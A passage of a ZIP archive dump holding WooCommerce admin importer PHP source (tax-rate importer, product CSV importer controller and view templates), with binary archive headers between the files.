		<?php
		$step_class = '';
		if ( $step_key === $this->step ) {
			$step_class = 'active';
		} elseif ( array_search( $this->step, array_keys( $this->steps ), true ) > array_search( $step_key, array_keys( $this->steps ), true ) ) {
			$step_class = 'done';
		}
		?>
		<li class="<?php echo esc_attr( $step_class ); ?>">
			<?php echo esc_html( $step['name'] ); ?>
		</li>
	<?php endforeach; ?>
</ol>
PK�3\�S�77,importers/views/html-csv-import-progress.phpnu�[���<?php
/**
 * Admin View: Importer - CSV import progress
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div class="wc-progress-form-content woocommerce-importer woocommerce-importer__importing">
	<header>
		<span class="spinner is-active"></span>
		<h2><?php esc_html_e( 'Importing', 'woocommerce' ); ?></h2>
		<p><?php esc_html_e( 'Your products are now being imported...', 'woocommerce' ); ?></p>
	</header>
	<section>
		<progress class="woocommerce-importer-progress" max="100" value="0"></progress>
	</section>
</div>
PK�3\��Uً�*importers/views/html-csv-import-footer.phpnu�[���<?php
/**
 * Admin View: Header
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
	</div>
</div>
PK�3\s����#�#(importers/class-wc-tax-rate-importer.phpnu�[���<?php
/**
 * Tax importer class file
 *
 * @version 2.3.0
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WP_Importer' ) ) {
	return;
}

/**
 * Tax Rates importer - import tax rates and local tax rates into WooCommerce.
 *
 * @package     WooCommerce\Admin\Importers
 * @version     2.3.0
 */
class WC_Tax_Rate_Importer extends WP_Importer {

	/**
	 * The current file id.
	 *
	 * @var int
	 */
	public $id;

	/**
	 * The current file url.
	 *
	 * @var string
	 */
	public $file_url;

	/**
	 * The current import page.
	 *
	 * @var string
	 */
	public $import_page;

	/**
	 * The current delimiter.
	 *
	 * @var string
	 */
	public $delimiter;

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->import_page = 'woocommerce_tax_rate_csv';
		$this->delimiter   = empty( $_POST['delimiter'] ) ? ',' : (string) wc_clean( wp_unslash( $_POST['delimiter'] ) ); // WPCS: CSRF ok.
	}

	/**
	 * Registered callback function for the WordPress Importer.
	 *
	 * Manages the three separate stages of the CSV import process.
	 */
	public function dispatch() {

		$this->header();

		$step = empty( $_GET['step'] ) ? 0 : (int) $_GET['step'];

		switch ( $step ) {

			case 0:
				$this->greet();
				break;

			case 1:
				check_admin_referer( 'import-upload' );

				if ( $this->handle_upload() ) {

					if ( $this->id ) {
						$file = get_attached_file( $this->id );
					} else {
						$file = ABSPATH . $this->file_url;
					}

					add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );

					$this->import( $file );
				}
				break;
		}

		$this->footer();
	}

	/**
	 * Import is starting.
	 */
	private function import_start() {
		if ( function_exists( 'gc_enable' ) ) {
			gc_enable(); // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.gc_enableFound
		}
		wc_set_time_limit( 0 );
		@ob_flush();
		@flush();
		@ini_set( 'auto_detect_line_endings', '1' );
	}

	/**
	 * UTF-8 encode the data if `$enc` value isn't UTF-8.
	 *
	 * @param mixed  $data Data.
	 * @param string $enc Encoding.
	 * @return string
	 */
	public function format_data_from_csv( $data, $enc ) {
		return ( 'UTF-8' === $enc ) ? $data : utf8_encode( $data );
	}

	/**
	 * Import the file if it exists and is valid.
	 *
	 * @param mixed $file File.
	 */
	public function import( $file ) {
		if ( ! is_file( $file ) ) {
			$this->import_error( __( 'The file does not exist, please try again.', 'woocommerce' ) );
		}

		$this->import_start();

		$loop   = 0;
		$handle = fopen( $file, 'r' );

		if ( false !== $handle ) {

			$header = fgetcsv( $handle, 0, $this->delimiter );

			if ( 10 === count( $header ) ) {

				$row = fgetcsv( $handle, 0, $this->delimiter );

				while ( false !== $row ) {

					list( $country, $state, $postcode, $city, $rate, $name, $priority, $compound, $shipping, $class ) = $row;

					$tax_rate = array(
						'tax_rate_country'  => $country,
						'tax_rate_state'    => $state,
						'tax_rate'          => $rate,
						'tax_rate_name'     => $name,
						'tax_rate_priority' => $priority,
						'tax_rate_compound' => $compound ? 1 : 0,
						'tax_rate_shipping' => $shipping ? 1 : 0,
						'tax_rate_order'    => $loop ++,
						'tax_rate_class'    => $class,
					);

					$tax_rate_id = WC_Tax::_insert_tax_rate( $tax_rate );
					WC_Tax::_update_tax_rate_postcodes( $tax_rate_id, wc_clean( $postcode ) );
					WC_Tax::_update_tax_rate_cities( $tax_rate_id, wc_clean( $city ) );

					$row = fgetcsv( $handle, 0, $this->delimiter );
				}
			} else {
				$this->import_error( __( 'The CSV is invalid.', 'woocommerce' ) );
			}

			fclose( $handle );
		}

		// Show Result.
		echo '<div class="updated settings-error"><p>';
		printf(
			/* translators: %s: tax rates count */
			esc_html__( 'Import complete - imported %s tax rates.', 'woocommerce' ),
			'<strong>' . absint( $loop ) . '</strong>'
		);
		echo '</p></div>';

		$this->import_end();
	}

	/**
	 * Performs post-import cleanup of files and the cache.
	 */
	public function import_end() {
		echo '<p>' . esc_html__( 'All done!', 'woocommerce' ) . ' <a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=tax' ) ) . '">' . esc_html__( 'View tax rates', 'woocommerce' ) . '</a></p>';

		do_action( 'import_end' );
	}

	/**
	 * Handles the CSV upload and initial parsing of the file to prepare for.
	 * displaying author import options.
	 *
	 * @return bool False if error uploading or invalid file, true otherwise
	 */
	public function handle_upload() {
		$file_url = isset( $_POST['file_url'] ) ? wc_clean( wp_unslash( $_POST['file_url'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce already verified in WC_Tax_Rate_Importer::dispatch()

		if ( empty( $file_url ) ) {
			$file = wp_import_handle_upload();

			if ( isset( $file['error'] ) ) {
				$this->import_error( $file['error'] );
			}

			if ( ! wc_is_file_valid_csv( $file['file'], false ) ) {
				// Remove file if not valid.
				wp_delete_attachment( $file['id'], true );

				$this->import_error( __( 'Invalid file type. The importer supports CSV and TXT file formats.', 'woocommerce' ) );
			}

			$this->id = absint( $file['id'] );
		} elseif ( file_exists( ABSPATH . $file_url ) ) {
			if ( ! wc_is_file_valid_csv( ABSPATH . $file_url ) ) {
				$this->import_error( __( 'Invalid file type. The importer supports CSV and TXT file formats.', 'woocommerce' ) );
			}

			$this->file_url = esc_attr( $file_url );
		} else {
			$this->import_error();
		}

		return true;
	}

	/**
	 * Output header html.
	 */
	public function header() {
		echo '<div class="wrap">';
		echo '<h1>' . esc_html__( 'Import tax rates', 'woocommerce' ) . '</h1>';
	}

	/**
	 * Output footer html.
	 */
	public function footer() {
		echo '</div>';
	}

	/**
	 * Output information about the uploading process.
	 */
	public function greet() {

		echo '<div class="narrow">';
		echo '<p>' . esc_html__( 'Hi there! Upload a CSV file containing tax rates to import the contents into your shop. Choose a .csv file to upload, then click "Upload file and import".', 'woocommerce' ) . '</p>';

		/* translators: 1: Link to tax rates sample file 2: Closing link. */
		echo '<p>' . sprintf( esc_html__( 'Your CSV needs to include columns in a specific order. %1$sClick here to download a sample%2$s.', 'woocommerce' ), '<a href="' . esc_url( WC()->plugin_url() ) . '/sample-data/sample_tax_rates.csv">', '</a>' ) . '</p>';

		$action = 'admin.php?import=woocommerce_tax_rate_csv&step=1';

		$bytes      = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
		$size       = size_format( $bytes );
		$upload_dir = wp_upload_dir();
		if ( ! empty( $upload_dir['error'] ) ) :
			?>
			<div class="error">
				<p><?php esc_html_e( 'Before you can upload your import file, you will need to fix the following error:', 'woocommerce' ); ?></p>
				<p><strong><?php echo esc_html( $upload_dir['error'] ); ?></strong></p>
			</div>
		<?php else : ?>
			<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php echo esc_attr( wp_nonce_url( $action, 'import-upload' ) ); ?>">
				<table class="form-table">
					<tbody>
						<tr>
							<th>
								<label for="upload"><?php esc_html_e( 'Choose a file from your computer:', 'woocommerce' ); ?></label>
							</th>
							<td>
								<input type="file" id="upload" name="import" size="25" />
								<input type="hidden" name="action" value="save" />
								<input type="hidden" name="max_file_size" value="<?php echo absint( $bytes ); ?>" />
								<small>
									<?php
									printf(
										/* translators: %s: maximum upload size */
										esc_html__( 'Maximum size: %s', 'woocommerce' ),
										esc_attr( $size )
									);
									?>
								</small>
							</td>
						</tr>
						<tr>
							<th>
								<label for="file_url"><?php esc_html_e( 'OR enter path to file:', 'woocommerce' ); ?></label>
							</th>
							<td>
								<?php echo ' ' . esc_html( ABSPATH ) . ' '; ?><input type="text" id="file_url" name="file_url" size="25" />
							</td>
						</tr>
						<tr>
							<th><label><?php esc_html_e( 'Delimiter', 'woocommerce' ); ?></label><br/></th>
							<td><input type="text" name="delimiter" placeholder="," size="2" /></td>
						</tr>
					</tbody>
				</table>
				<p class="submit">
					<button type="submit" class="button" value="<?php esc_attr_e( 'Upload file and import', 'woocommerce' ); ?>"><?php esc_html_e( 'Upload file and import', 'woocommerce' ); ?></button>
				</p>
			</form>
			<?php
		endif;

		echo '</div>';
	}

	/**
	 * Show import error and quit.
	 *
	 * @param  string $message Error message.
	 */
	private function import_error( $message = '' ) {
		echo '<p><strong>' . esc_html__( 'Sorry, there has been an error.', 'woocommerce' ) . '</strong><br />';
		if ( $message ) {
			echo esc_html( $message );
		}
		echo '</p>';
		$this->footer();
		die();
	}

	/**
	 * Added to http_request_timeout filter to force timeout at 60 seconds during import.
	 *
	 * @param  int $val Value.
	 * @return int 60
	 */
	public function bump_request_timeout( $val ) {
		return 60;
	}
}
PK�3\��
�c�c6importers/class-wc-product-csv-importer-controller.phpnu�[���<?php
/**
 * Class WC_Product_CSV_Importer_Controller file.
 *
 * @package WooCommerce\Admin\Importers
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WP_Importer' ) ) {
	return;
}

/**
 * Product importer controller - handles file upload and forms in admin.
 *
 * @package     WooCommerce\Admin\Importers
 * @version     3.1.0
 */
class WC_Product_CSV_Importer_Controller {

	/**
	 * The path to the current file.
	 *
	 * @var string
	 */
	protected $file = '';

	/**
	 * The current import step.
	 *
	 * @var string
	 */
	protected $step = '';

	/**
	 * Progress steps.
	 *
	 * @var array
	 */
	protected $steps = array();

	/**
	 * Errors.
	 *
	 * @var array
	 */
	protected $errors = array();

	/**
	 * The current delimiter for the file being read.
	 *
	 * @var string
	 */
	protected $delimiter = ',';

	/**
	 * Whether to use previous mapping selections.
	 *
	 * @var bool
	 */
	protected $map_preferences = false;

	/**
	 * Whether to skip existing products.
	 *
	 * @var bool
	 */
	protected $update_existing = false;

	/**
	 * Get importer instance.
	 *
	 * @param  string $file File to import.
	 * @param  array  $args Importer arguments.
	 * @return WC_Product_CSV_Importer
	 */
	public static function get_importer( $file, $args = array() ) {
		$importer_class = apply_filters( 'woocommerce_product_csv_importer_class', 'WC_Product_CSV_Importer' );
		$args           = apply_filters( 'woocommerce_product_csv_importer_args', $args, $importer_class );
		return new $importer_class( $file, $args );
	}

	/**
	 * Check whether a file is a valid CSV file.
	 *
	 * @todo Replace this method with wc_is_file_valid_csv() function.
	 * @param string $file File path.
	 * @param bool   $check_path Whether to also check the file is located in a valid location (Default: true).
	 * @return bool
	 */
	public static function is_file_valid_csv( $file, $check_path = true ) {
		if ( $check_path && apply_filters( 'woocommerce_product_csv_importer_check_import_file_path', true ) && false !== stripos( $file, '://' ) ) {
			return false;
		}

		$valid_filetypes = self::get_valid_csv_filetypes();
		$filetype        = wp_check_filetype( $file, $valid_filetypes );
		if ( in_array( $filetype['type'], $valid_filetypes, true ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Get all the valid filetypes for a CSV file.
	 *
	 * @return array
	 */
	protected static function get_valid_csv_filetypes() {
		return apply_filters(
			'woocommerce_csv_product_import_valid_filetypes',
			array(
				'csv' => 'text/csv',
				'txt' => 'text/plain',
			)
		);
	}

	/**
	 * Constructor.
	 */
	public function __construct() {
		$default_steps = array(
			'upload'  => array(
				'name'    => __( 'Upload CSV file', 'woocommerce' ),
				'view'    => array( $this, 'upload_form' ),
				'handler' => array( $this, 'upload_form_handler' ),
			),
			'mapping' => array(
				'name'    => __( 'Column mapping', 'woocommerce' ),
				'view'    => array( $this, 'mapping_form' ),
				'handler' => '',
			),
			'import'  => array(
				'name'    => __( 'Import', 'woocommerce' ),
				'view'    => array( $this, 'import' ),
				'handler' => '',
			),
			'done'    => array(
				'name'    => __( 'Done!', 'woocommerce' ),
				'view'    => array( $this, 'done' ),
				'handler' => '',
			),
		);

		$this->steps = apply_filters( 'woocommerce_product_csv_importer_steps', $default_steps );

		// phpcs:disable WordPress.Security.NonceVerification.Recommended
		$this->step            = isset( $_REQUEST['step'] ) ? sanitize_key( $_REQUEST['step'] ) : current( array_keys( $this->steps ) );
		$this->file            = isset( $_REQUEST['file'] ) ? wc_clean( wp_unslash( $_REQUEST['file'] ) ) : '';
		$this->update_existing = isset( $_REQUEST['update_existing'] ) ? (bool) $_REQUEST['update_existing'] : false;
		$this->delimiter       = ! empty( $_REQUEST['delimiter'] ) ? wc_clean( wp_unslash( $_REQUEST['delimiter'] ) ) : ',';
		$this->map_preferences = isset( $_REQUEST['map_preferences'] ) ? (bool) $_REQUEST['map_preferences'] : false;
		// phpcs:enable

		// Import mappings for CSV data.
		include_once dirname( __FILE__ ) . '/mappings/mappings.php';

		if ( $this->map_preferences ) {
			add_filter( 'woocommerce_csv_product_import_mapped_columns', array( $this, 'auto_map_user_preferences' ), 9999 );
		}
	}

	/**
	 * Get the URL for the next step's screen.
	 *
	 * @param string $step  slug (default: current step).
	 * @return string       URL for next step if a next step exists.
	 *                      Admin URL if it's the last step.
	 *                      Empty string on failure.
	 */
	public function get_next_step_link( $step = '' ) {
		if ( ! $step ) {
			$step = $this->step;
		}

		$keys = array_keys( $this->steps );

		if ( end( $keys ) === $step ) {
			return admin_url();
		}

		$step_index = array_search( $step, $keys, true );

		if ( false === $step_index ) {
			return '';
		}

		$params = array(
			'step'            => $keys[ $step_index + 1 ],
			'file'            => str_replace( DIRECTORY_SEPARATOR, '/', $this->file ),
			'delimiter'       => $this->delimiter,
			'update_existing' => $this->update_existing,
			'map_preferences' => $this->map_preferences,
			'_wpnonce'        => wp_create_nonce( 'woocommerce-csv-importer' ), // wp_nonce_url() escapes & to &amp; breaking redirects.
		);

		return add_query_arg( $params );
	}

	/**
	 * Output header view.
	 */
	protected function output_header() {
		include dirname( __FILE__ ) . '/views/html-csv-import-header.php';
	}

	/**
	 * Output steps view.
	 */
	protected function output_steps() {
		include dirname( __FILE__ ) . '/views/html-csv-import-steps.php';
	}

	/**
	 * Output footer view.
	 */
	protected function output_footer() {
		include dirname( __FILE__ ) . '/views/html-csv-import-footer.php';
	}

	/**
	 * Add error message.
	 *
	 * @param string $message Error message.
	 * @param array  $actions List of actions with 'url' and 'label'.
	 */
	protected function add_error( $message, $actions = array() ) {
		$this->errors[] = array(
			'message' => $message,
			'actions' => $actions,
		);
	}

	/**
	 * Add error message.
	 */
	protected function output_errors() {
		if ( ! $this->errors ) {
			return;
		}

		foreach ( $this->errors as $error ) {
			echo '<div class="error inline">';
			echo '<p>' . esc_html( $error['message'] ) . '</p>';

			if ( ! empty( $error['actions'] ) ) {
				echo '<p>';
				foreach ( $error['actions'] as $action ) {
					echo '<a class="button button-primary" href="' . esc_url( $action['url'] ) . '">' . esc_html( $action['label'] ) . '</a> ';
				}
				echo '</p>';
			}
			echo '</div>';
		}
	}

	/**
	 * Dispatch current step and show correct view.
	 */
	public function dispatch() {
		// phpcs:ignore WordPress.Security.NonceVerification.Missing
		if ( ! empty( $_POST['save_step'] ) && ! empty( $this->steps[ $this->step ]['handler'] ) ) {
			call_user_func( $this->steps[ $this->step ]['handler'], $this );
		}
		$this->output_header();
		$this->output_steps();
		$this->output_errors();
		call_user_func( $this->steps[ $this->step ]['view'], $this );
		$this->output_footer();
	}

	/**
	 * Output information about the uploading process.
	 */
	protected function upload_form() {
		$bytes      = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
		$size       = size_format( $bytes );
		$upload_dir = wp_upload_dir();

		include dirname( __FILE__ ) . '/views/html-product-csv-import-form.php';
	}

	/**
	 * Handle the upload form and store options.
	 */
	public function upload_form_handler() {
		check_admin_referer( 'woocommerce-csv-importer' );

		$file = $this->handle_upload();

		if ( is_wp_error( $file ) ) {
			$this->add_error( $file->get_error_message() );
			return;
		} else {
			$this->file = $file;
		}

		wp_redirect( esc_url_raw( $this->get_next_step_link() ) );
		exit;
	}

	/**
	 * Handles the CSV upload and initial parsing of the file to prepare for
	 * displaying author import options.
	 *
	 * @return string|WP_Error
	 */
	public function handle_upload() {
		// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce already verified in WC_Product_CSV_Importer_Controller::upload_form_handler()
		$file_url = isset( $_POST['file_url'] ) ? wc_clean( wp_unslash( $_POST['file_url'] ) ) : '';

		if ( empty( $file_url ) ) {
			if ( ! isset( $_FILES['import'] ) ) {
				return new WP_Error( 'woocommerce_product_csv_importer_upload_file_empty', __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.', 'woocommerce' ) );
			}

			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
			if ( ! self::is_file_valid_csv( wc_clean( wp_unslash( $_FILES['import']['name'] ) ), false ) ) {
				return new WP_Error( 'woocommerce_product_csv_importer_upload_file_invalid', __( 'Invalid file type. The importer supports CSV and TXT file formats.', 'woocommerce' ) );
			}

			$overrides = array(
				'test_form' => false,
				'mimes'     => self::get_valid_csv_filetypes(),
			);
			$import    = $_FILES['import']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.MissingUnslash
			$upload    = wp_handle_upload( $import, $overrides );

			if ( isset( $upload['error'] ) ) {
				return new WP_Error( 'woocommerce_product_csv_importer_upload_error', $upload['error'] );
			}

			// Construct the object array.
			$object = array(
				'post_title'     => basename( $upload['file'] ),
				'post_content'   => $upload['url'],
				'post_mime_type' => $upload['type'],
				'guid'           => $upload['url'],
				'context'        => 'import',
				'post_status'    => 'private',
			);

			// Save the data.
			$id = wp_insert_attachment( $object, $upload['file'] );

			/*
			 * Schedule a cleanup for one day from now in case of failed
			 * import or missing wp_import_cleanup() call.
			 */
			wp_schedule_single_event( time() + DAY_IN_SECONDS, 'importer_scheduled_cleanup', array( $id ) );

			return $upload['file'];
		} elseif ( file_exists( ABSPATH . $file_url ) ) {
			if ( ! self::is_file_valid_csv( ABSPATH . $file_url ) ) {
				return new WP_Error( 'woocommerce_product_csv_importer_upload_file_invalid', __( 'Invalid file type. The importer supports CSV and TXT file formats.', 'woocommerce' ) );
			}

			return ABSPATH . $file_url;
		}
		// phpcs:enable

		return new WP_Error( 'woocommerce_product_csv_importer_upload_invalid_file', __( 'Please upload or provide the link to a valid CSV file.', 'woocommerce' ) );
	}

	/**
	 * Mapping step.
	 */
	protected function mapping_form() {
		check_admin_referer( 'woocommerce-csv-importer' );
		$args = array(
			'lines'     => 1,
			'delimiter' => $this->delimiter,
		);

		$importer     = self::get_importer( $this->file, $args );
		$headers      = $importer->get_raw_keys();
		$mapped_items = $this->auto_map_columns( $headers );
		$sample       = current( $importer->get_raw_data() );

		if ( empty( $sample ) ) {
			$this->add_error(
				__( 'The file is empty or using a different encoding than UTF-8, please try again with a new file.', 'woocommerce' ),
				array(
					array(
						'url'   => admin_url( 'edit.php?post_type=product&page=product_importer' ),
						'label' => __( 'Upload a new file', 'woocommerce' ),
					),
				)
			);

			// Force output the errors in the same page.
			$this->output_errors();
			return;
		}

		include_once dirname( __FILE__ ) . '/views/html-csv-import-mapping.php';
	}

	/**
	 * Import the file if it exists and is valid.
	 */
	public function import() {
		// Displaying this page triggers Ajax action to run the import with a valid nonce,
		// therefore this page needs to be nonce protected as well.
		check_admin_referer( 'woocommerce-csv-importer' );

		if ( ! self::is_file_valid_csv( $this->file ) ) {
			$this->add_error( __( 'Invalid file type. The importer supports CSV and TXT file formats.', 'woocommerce' ) );
			$this->output_errors();
			return;
		}

		if ( ! is_file( $this->file ) ) {
			$this->add_error( __( 'The file does not exist, please try again.', 'woocommerce' ) );
			$this->output_errors();
			return;
		}

		if ( ! empty( $_POST['map_from'] ) && ! empty( $_POST['map_to'] ) ) {
			$mapping_from = wc_clean( wp_unslash( $_POST['map_from'] ) );
			$mapping_to   = wc_clean( wp_unslash( $_POST['map_to'] ) );

			// Save mapping preferences for future imports.
			update_user_option( get_current_user_id(), 'woocommerce_product_import_mapping', $mapping_to );
		} else {
			wp_redirect( esc_url_raw( $this->get_next_step_link( 'upload' ) ) );
			exit;
		}

		wp_localize_script(
			'wc-product-import',
			'wc_product_import_params',
			array(
				'import_nonce'    => wp_create_nonce( 'wc-product-import' ),
				'mapping'         => array(
					'from' => $mapping_from,
					'to'   => $mapping_to,
				),
				'file'            => $this->file,
				'update_existing' => $this->update_existing,
				'delimiter'       => $this->delimiter,
			)
		);
		wp_enqueue_script( 'wc-product-import' );

		include_once dirname( __FILE__ ) . '/views/html-csv-import-progress.php';
	}

	/**
	 * Done step.
	 */
	protected function done() {
		check_admin_referer( 'woocommerce-csv-importer' );
		$imported  = isset( $_GET['products-imported'] ) ? absint( $_GET['products-imported'] ) : 0;
		$updated   = isset( $_GET['products-updated'] ) ? absint( $_GET['products-updated'] ) : 0;
		$failed    = isset( $_GET['products-failed'] ) ? absint( $_GET['products-failed'] ) : 0;
		$skipped   = isset( $_GET['products-skipped'] ) ? absint( $_GET['products-skipped'] ) : 0;
		$file_name = isset( $_GET['file-name'] ) ? sanitize_text_field( wp_unslash( $_GET['file-name'] ) ) : '';
		$errors    = array_filter( (array) get_user_option( 'product_import_error_log' ) );

		include_once dirname( __FILE__ ) . '/views/html-csv-import-done.php';
	}

	/**
	 * Columns to normalize.
	 *
	 * @param  array $columns List of columns names and keys.
	 * @return array
	 */
	protected function normalize_columns_names( $columns ) {
		$normalized = array();

		foreach ( $columns as $key => $value ) {
			$normalized[ strtolower( $key ) ] = $value;
		}

		return $normalized;
	}

	/**
	 * Auto map column names.
	 *
	 * @param  array $raw_headers Raw header columns.
	 * @param  bool  $num_indexes If should use numbers or raw header columns as indexes.
	 * @return array
	 */
	protected function auto_map_columns( $raw_headers, $num_indexes = true ) {
		$weight_unit    = get_option( 'woocommerce_weight_unit' );
		$dimension_unit = get_option( 'woocommerce_dimension_unit' );

		/*
		 * @hooked wc_importer_generic_mappings - 10
		 * @hooked wc_importer_wordpress_mappings - 10
		 * @hooked wc_importer_default_english_mappings - 100
		 */
		$default_columns = $this->normalize_columns_names(
			apply_filters(
				'woocommerce_csv_product_import_mapping_default_columns',
				array(
					__( 'ID', 'woocommerce' )             => 'id',
					__( 'Type', 'woocommerce' )           => 'type',
					__( 'SKU', 'woocommerce' )            => 'sku',
					__( 'Name', 'woocommerce' )           => 'name',
					__( 'Published', 'woocommerce' )      => 'published',
					__( 'Is featured?', 'woocommerce' )   => 'featured',
					__( 'Visibility in catalog', 'woocommerce' ) => 'catalog_visibility',
					__( 'Short description', 'woocommerce' ) => 'short_description',
					__( 'Description', 'woocommerce' )    => 'description',
					__( 'Date sale price starts', 'woocommerce' ) => 'date_on_sale_from',
					__( 'Date sale price ends', 'woocommerce' ) => 'date_on_sale_to',
					__( 'Tax status', 'woocommerce' )     => 'tax_status',
					__( 'Tax class', 'woocommerce' )      => 'tax_class',
					__( 'In stock?', 'woocommerce' )      => 'stock_status',
					__( 'Stock', 'woocommerce' )          => 'stock_quantity',
					__( 'Backorders allowed?', 'woocommerce' ) => 'backorders',
					__( 'Low stock amount', 'woocommerce' ) => 'low_stock_amount',
					__( 'Sold individually?', 'woocommerce' ) => 'sold_individually',
					/* translators: %s: Weight unit */
					sprintf( __( 'Weight (%s)', 'woocommerce' ), $weight_unit ) => 'weight',
					/* translators: %s: Length unit */
					sprintf( __( 'Length (%s)', 'woocommerce' ), $dimension_unit ) => 'length',
					/* translators: %s: Width unit */
					sprintf( __( 'Width (%s)', 'woocommerce' ), $dimension_unit ) => 'width',
					/* translators: %s: Height unit */
					sprintf( __( 'Height (%s)', 'woocommerce' ), $dimension_unit ) => 'height',
					__( 'Allow customer reviews?', 'woocommerce' ) => 'reviews_allowed',
					__( 'Purchase note', 'woocommerce' )  => 'purchase_note',
					__( 'Sale price', 'woocommerce' )     => 'sale_price',
					__( 'Regular price', 'woocommerce' )  => 'regular_price',
					__( 'Categories', 'woocommerce' )     => 'category_ids',
					__( 'Tags', 'woocommerce' )           => 'tag_ids',
					__( 'Shipping class', 'woocommerce' ) => 'shipping_class_id',
					__( 'Images', 'woocommerce' )         => 'images',
					__( 'Download limit', 'woocommerce' ) => 'download_limit',
					__( 'Download expiry days', 'woocommerce' ) => 'download_expiry',
					__( 'Parent', 'woocommerce' )         => 'parent_id',
					__( 'Upsells', 'woocommerce' )        => 'upsell_ids',
					__( 'Cross-sells', 'woocommerce' )    => 'cross_sell_ids',
					__( 'Grouped products', 'woocommerce' ) => 'grouped_products',
					__( 'External URL', 'woocommerce' )   => 'product_url',
					__( 'Button text', 'woocommerce' )    => 'button_text',
					__( 'Position', 'woocommerce' )       => 'menu_order',
				),
				$raw_headers
			)
		);

		$special_columns = $this->get_special_columns(
			$this->normalize_columns_names(
				apply_filters(
					'woocommerce_csv_product_import_mapping_special_columns',
					array(
						/* translators: %d: Attribute number */
						__( 'Attribute %d name', 'woocommerce' ) => 'attributes:name',
						/* translators: %d: Attribute number */
						__( 'Attribute %d value(s)', 'woocommerce' ) => 'attributes:value',
						/* translators: %d: Attribute number */
						__( 'Attribute %d visible', 'woocommerce' ) => 'attributes:visible',
						/* translators: %d: Attribute number */
						__( 'Attribute %d global', 'woocommerce' ) => 'attributes:taxonomy',
						/* translators: %d: Attribute number */
						__( 'Attribute %d default', 'woocommerce' ) => 'attributes:default',
						/* translators: %d: Download number */
						__( 'Download %d ID', 'woocommerce' ) => 'downloads:id',
						/* translators: %d: Download number */
						__( 'Download %d name', 'woocommerce' ) => 'downloads:name',
						/* translators: %d: Download number */
						__( 'Download %d URL', 'woocommerce' ) => 'downloads:url',
						/* translators: %d: Meta number */
						__( 'Meta: %s', 'woocommerce' ) => 'meta:',
					),
					$raw_headers
				)
			)
		);

		$headers = array();
		foreach ( $raw_headers as $key => $field ) {
			$normalized_field  = strtolower( $field );
			$index             = $num_indexes ? $key : $field;
			$headers[ $index ] = $normalized_field;

			if ( isset( $default_columns[ $normalized_field ] ) ) {
				$headers[ $index ] = $default_columns[ $normalized_field ];
			} else {
				foreach ( $special_columns as $regex => $special_key ) {
					// Don't use the normalized field in the regex since meta might be case-sensitive.
					if ( preg_match( $regex, $field, $matches ) ) {
						$headers[ $index ] = $special_key . $matches[1];
						break;
					}
				}
			}
		}

		return apply_filters( 'woocommerce_csv_product_import_mapped_columns', $headers, $raw_headers );
	}

	/**
	 * Map columns using the user's lastest import mappings.
	 *
	 * @param  array $headers Header columns.
	 * @return array
	 */
	public function auto_map_user_preferences( $headers ) {
		$mapping_preferences = get_user_option( 'woocommerce_product_import_mapping' );

		if ( ! empty( $mapping_preferences ) && is_array( $mapping_preferences ) ) {
			return $mapping_preferences;
		}

		return $headers;
	}

	/**
	 * Sanitize special column name regex.
	 *
	 * @param  string $value Raw special column name.
	 * @return string
	 */
	protected function sanitize_special_column_name_regex( $value ) {
		return '/' . str_replace( array( '%d', '%s' ), '(.*)', trim( quotemeta( $value ) ) ) . '/i';
	}

	/**
	 * Get special columns.
	 *
	 * @param  array $columns Raw special columns.
	 * @return array
	 */
	protected function get_special_columns( $columns ) {
		$formatted = array();

		foreach ( $columns as $key => $value ) {
			$regex = $this->sanitize_special_column_name_regex( $key );

			$formatted[ $regex ] = $value;
		}

		return $formatted;
	}

	/**
	 * Get mapping options.
	 *
	 * @param  string $item Item name.
	 * @return array
	 */
	protected function get_mapping_options( $item = '' ) {
		// Get index for special column names.
		$index = $item;

		if ( preg_match( '/\d+/', $item, $matches ) ) {
			$index = $matches[0];
		}

		// Properly format for meta field.
		$meta = str_replace( 'meta:', '', $item );

		// Available options.
		$weight_unit    = get_option( 'woocommerce_weight_unit' );
		$dimension_unit = get_option( 'woocommerce_dimension_unit' );
		$options        = array(
			'id'                 => __( 'ID', 'woocommerce' ),
			'type'               => __( 'Type', 'woocommerce' ),
			'sku'                => __( 'SKU', 'woocommerce' ),
			'name'               => __( 'Name', 'woocommerce' ),
			'published'          => __( 'Published', 'woocommerce' ),
			'featured'           => __( 'Is featured?', 'woocommerce' ),
			'catalog_visibility' => __( 'Visibility in catalog', 'woocommerce' ),
			'short_description'  => __( 'Short description', 'woocommerce' ),
			'description'        => __( 'Description', 'woocommerce' ),
			'price'              => array(
				'name'    => __( 'Price', 'woocommerce' ),
				'options' => array(
					'regular_price'     => __( 'Regular price', 'woocommerce' ),
					'sale_price'        => __( 'Sale price', 'woocommerce' ),
					'date_on_sale_from' => __( 'Date sale price starts', 'woocommerce' ),
					'date_on_sale_to'   => __( 'Date sale price ends', 'woocommerce' ),
				),
			),
			'tax_status'         => __( 'Tax status', 'woocommerce' ),
			'tax_class'          => __( 'Tax class', 'woocommerce' ),
			'stock_status'       => __( 'In stock?', 'woocommerce' ),
			'stock_quantity'     => _x( 'Stock', 'Quantity in stock', 'woocommerce' ),
			'backorders'         => __( 'Backorders allowed?', 'woocommerce' ),
			'low_stock_amount'   => __( 'Low stock amount', 'woocommerce' ),
			'sold_individually'  => __( 'Sold individually?', 'woocommerce' ),
			/* translators: %s: weight unit */
